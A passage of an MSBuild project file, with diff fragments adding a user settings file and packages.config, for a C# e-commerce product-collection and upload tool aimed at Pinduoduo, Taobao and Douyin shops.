<Reference Include="AdvancedStringBuilder, Version=0.1.0.0, Culture=neutral, PublicKeyToken=e818a2fc08933ddb, processorArchitecture=MSIL">
<HintPath>..\packages\AdvancedStringBuilder.0.1.0\lib\net45\AdvancedStringBuilder.dll</HintPath>
</Reference>
<Reference Include="ClearScript, Version=5.5.5.0, Culture=neutral, PublicKeyToken=935d0c957da47c73, processorArchitecture=MSIL">
<HintPath>..\packages\JavaScriptEngineSwitcher.V8.3.0.5\lib\net45\ClearScript.dll</HintPath>
</Reference>
<Reference Include="DevComponents.DotNetBar2, Version=14.0.0.3, Culture=neutral, PublicKeyToken=c39c3242a43eee2b, processorArchitecture=MSIL" />
<Reference Include="Interop.MSScriptControl, Version=1.0.0.0, Culture=neutral, processorArchitecture=x86">
<SpecificVersion>False</SpecificVersion>
<EmbedInteropTypes>True</EmbedInteropTypes>
<HintPath>..\DllReference\Interop.MSScriptControl.dll</HintPath>
</Reference>
<Reference Include="JavaScriptEngineSwitcher.Core, Version=3.0.0.0, Culture=neutral, PublicKeyToken=c608b2a8cc9e4472, processorArchitecture=MSIL">
<HintPath>..\packages\JavaScriptEngineSwitcher.Core.3.0.0\lib\net45\JavaScriptEngineSwitcher.Core.dll</HintPath>
</Reference>
<Reference Include="JavaScriptEngineSwitcher.V8, Version=3.0.5.0, Culture=neutral, PublicKeyToken=c608b2a8cc9e4472, processorArchitecture=MSIL">
<HintPath>..\packages\JavaScriptEngineSwitcher.V8.3.0.5\lib\net45\JavaScriptEngineSwitcher.V8.dll</HintPath>
</Reference>
<Reference Include="NaiBa.Util, Version=1.0.0.0, Culture=neutral, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
<HintPath>..\DllReference\NaiBa.Util.dll</HintPath>
</Reference>
<Reference Include="NaiBa.Util.Winform">
<HintPath>..\DllReference\NaiBa.Util.Winform.dll</HintPath>
</Reference>
<Reference Include="Newtonsoft.Json, Version=4.5.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
<HintPath>..\packages\Newtonsoft.Json.9.0.1\lib\net45\Newtonsoft.Json.dll</HintPath>
<Private>True</Private>
</Reference>
<Reference Include="System" />
<Reference Include="System.configuration" />
<Reference Include="System.Core" />
<Reference Include="System.Data.SQLite, Version=1.0.109.0, Culture=neutral, PublicKeyToken=db937bc2d44ff139, processorArchitecture=x86">
<SpecificVersion>False</SpecificVersion>
<HintPath>..\DllReference\System.Data.SQLite.DLL</HintPath>
</Reference>
<Reference Include="System.Drawing" />
<Reference Include="System.Management" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Net.Http" />
<Reference Include="System.Xml" />
<Reference Include="websocket-sharp, Version=1.0.2.27972, Culture=neutral, PublicKeyToken=5660b08a1845a91e, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
<HintPath>..\DllReference\websocket-sharp.dll</HintPath>
</Reference>
</ItemGroup>
<ItemGroup>
<Compile Include="AfterSaleSet.cs" />
<Compile Include="Api\AlibabaProductGet.cs" />
<Compile Include="Api\AutoConfirmExpress.cs" />
<Compile Include="Api\BigDataCenter.cs" />
<Compile Include="Api\BuildNewTitle.cs" />
<Compile Include="Api\CatListPinduoduo.cs" />
<Compile Include="Api\CatTemplateBase.cs" />
<Compile Include="Api\DeleteRejectProduct.cs" />
<Compile Include="Api\FromTitleToCatTaobao.cs" />
<Compile Include="BLL\Collect\PddSameScreeningBLL.cs" />
<Compile Include="BLL\Product\ShopProductBLL.cs" />
<Compile Include="BLL\Product\ViolateBLL.cs" />
<Compile Include="BLL\Upload\FissionDataBaseBLL.cs" />
<Compile Include="BLL\Upload\UploadMaterialBLL.cs" />
<Compile Include="BLL\Upload\UploadProductBLL.cs" />
<Compile Include="BLL\Upload\UploadPropertyBLL.cs" />
<Compile Include="CollectClass\CollectDoyin.cs" />
<Compile Include="CollectClass\DetailMobileCollect.cs" />
<Compile Include="Api\DownUpProductExploder.cs" />
<Compile Include="Api\EncryptionCode.cs" />
<Compile Include="Api\FromTitleToCat.cs" />
<Compile Include="Api\GetEditDetail.cs" />
<Compile Include="Api\GetNewTaobaoUpId.cs" />
<Compile Include="Api\GetProductDetail.cs" />
<Compile Include="Api\GetShopLoginInfo.cs" />
<Compile Include="Api\GetVisitProduct.cs" />
<Compile Include="Api\MobileDetail.cs" />
<Compile Include="Api\PinduoduoApiGetProduct.cs" />
<Compile Include="Api\PinduoduoApiPropId.cs" />
<Compile Include="Api\PinduoduoAuth.cs" />
<Compile Include="Api\ShopChatBase.cs" />
<Compile Include="CollectClass\TaobaoMobileCollect.cs" />
<Compile Include="Api\TaoJiJiProductGet.cs" />
<Compile Include="Api\UpdatePinduoduoExpressSet.cs" />
<Compile Include="Api\UploadPinduoduoDeleteSku.cs" />
<Compile Include="Api\UploadPinduoduoMain.cs" />
<Compile Include="Api\UploadPinduoduoProperties.cs" />
<Compile Include="Api\UploadPinduoduoSet.cs" />
<Compile Include="BLL\Collect\HaoWuCollectBLL.cs" />
<Compile Include="BLL\Tools\Base64ChangeImgUrl.cs" />
<Compile Include="CollectClass\BankWithDraw.cs" />
<Compile Include="CollectClass\BigDataBuild.cs" />
<Compile Include="CollectClass\CheckHecker.cs" />
<Compile Include="CollectClass\CollectKeywordByTaobao.cs" />
<Compile Include="CollectClass\GetProductOnlineClass.cs" />
<Compile Include="CollectClass\GetVisitProductNew.cs" />
<Compile Include="CollectClass\JinBaoSpread.cs" />
<Compile Include="CollectClass\JingXiCollect.cs" />
<Compile Include="CollectClass\LoadCloudData.cs" />
<Compile Include="CollectClass\OrderControl.cs" />
<Compile Include="CollectClass\PermissionBLL.cs" />
<Compile Include="CollectClass\PinduoduoRelation.cs" />
<Compile Include="CollectClass\PinduoduoCatList.cs" />
<Compile Include="CollectClass\PinduoduoProductCollect.cs" />
<Compile Include="CollectClass\ProductCheckControl.cs" />
<Compile Include="CollectClass\SearchKeywordByAlibaba.cs" />
<Compile Include="CollectClass\ServerTemp.cs" />
<Compile Include="CollectClass\SetCookiesUserInfo.cs" />
<Compile Include="CollectClass\ShopAccountControl.cs" />
<Compile Include="CollectClass\ShopDetailGet.cs" />
<Compile Include="CollectClass\WeiDianProductCollect.cs" />
<Compile Include="CollectClass\WhiteBaseMap.cs" />
<Compile Include="CollectClass\WithDrawAmount.cs" />
<Compile Include="CostTemplateSet.cs" />
<Compile Include="DouyinApiClass\DouyinApi.cs" />
<Compile Include="GetPostTaobaoHtml.cs" />
<Compile Include="GoodDetail\GoodDetail.cs" />
<Compile Include="GoodInfo.cs" />
<Compile Include="IdFessionTaobao.cs" />
<Compile Include="Initialization.cs" />
<Compile Include="JumpUpProductNew.cs" />
<Compile Include="ManageClass\UpPinduoduoProductSet.cs" />
<Compile Include="ManageClass\AddressSetIni.cs" />
<Compile Include="ManageClass\AdvanceSale.cs" />
<Compile Include="ManageClass\AlibabaShop.cs" />
<Compile Include="ManageClass\AutoQuestion.cs" />
<Compile Include="ManageClass\ClearProductGroup.cs" />
<Compile Include="ManageClass\CpsShopNew.cs" />
<Compile Include="ManageClass\ShopSingleUpload.cs" />
<Compile Include="ManageClass\UploadProductAllShop.cs" />
<Compile Include="ManageClass\UpPinduoduoProduct.cs" />
<Compile Include="ManageClass\VioProductGroup.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="RSA.cs" />
<Compile Include="RSA_PEM.cs" />
<Compile Include="RSA_Unit.cs" />
<Compile Include="UpShopIdFromServer.cs" />
<Compile Include="UserLogin.cs" />
</ItemGroup>
<ItemGroup>
<ProjectReference Include="..\AllBase\AllBase.csproj">
<Project>{6461d807-b1c8-45f0-b388-e0ca1a418de0}</Project>
<Name>AllBase</Name>
</ProjectReference>
</ItemGroup>
<ItemGroup>
<None Include="packages.config" />
</ItemGroup>
<ItemGroup />
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
<PropertyGroup>
<ErrorText>这台计算机上缺少此项目引用的 NuGet 程序包。使用“NuGet 程序包还原”可下载这些程序包。有关更多信息,请参见 http://go.microsoft.com/fwlink/?LinkID=322105。缺少的文件是 {0}。</ErrorText>
</PropertyGroup>
<Error Condition="!Exists('..\packages\cef.redist.x64.79.1.36\build\cef.redist.x64.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\cef.redist.x64.79.1.36\build\cef.redist.x64.props'))" />
<Error Condition="!Exists('..\packages\cef.redist.x86.79.1.36\build\cef.redist.x86.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\cef.redist.x86.79.1.36\build\cef.redist.x86.props'))" />
<Error Condition="!Exists('..\packages\CefSharp.Common.79.1.360\build\CefSharp.Common.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\CefSharp.Common.79.1.360\build\CefSharp.Common.props'))" />
<Error Condition="!Exists('..\packages\CefSharp.Common.79.1.360\build\CefSharp.Common.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\CefSharp.Common.79.1.360\build\CefSharp.Common.targets'))" />
<Error Condition="!Exists('..\packages\CefSharp.WinForms.79.1.360\build\CefSharp.WinForms.props')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\CefSharp.WinForms.79.1.360\build\CefSharp.WinForms.props'))" />
<Error Condition="!Exists('..\packages\CefSharp.WinForms.79.1.360\build\CefSharp.WinForms.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\packages\CefSharp.WinForms.79.1.360\build\CefSharp.WinForms.targets'))" />
</Target>
<Import Project="..\packages\CefSharp.Common.79.1.360\build\CefSharp.Common.targets" Condition="Exists('..\packages\CefSharp.Common.79.1.360\build\CefSharp.Common.targets')" />
<Import Project="..\packages\CefSharp.WinForms.79.1.360\build\CefSharp.WinForms.targets" Condition="Exists('..\packages\CefSharp.WinForms.79.1.360\build\CefSharp.WinForms.targets')" />
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
Other similar extension points exist, see Microsoft.Common.targets.
<Target Name="BeforeBuild">
</Target>
<Target Name="AfterBuild">
</Target>
-->
</Project>
+6
View File
@@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<ProjectView>ShowAllFiles</ProjectView>
</PropertyGroup>
</Project>
+11
View File
@@ -0,0 +1,11 @@
<?xml version="1.0" encoding="utf-8"?>
<packages>
<package id="AdvancedStringBuilder" version="0.1.0" targetFramework="net452" />
<package id="cef.redist.x64" version="79.1.36" targetFramework="net452" />
<package id="cef.redist.x86" version="79.1.36" targetFramework="net452" />
<package id="CefSharp.Common" version="79.1.360" targetFramework="net452" />
<package id="CefSharp.WinForms" version="79.1.360" targetFramework="net452" />
<package id="JavaScriptEngineSwitcher.Core" version="3.0.0" targetFramework="net452" />
<package id="JavaScriptEngineSwitcher.V8" version="3.0.5" targetFramework="net452" />
<package id="Newtonsoft.Json" version="9.0.1" targetFramework="net452" />
</packages>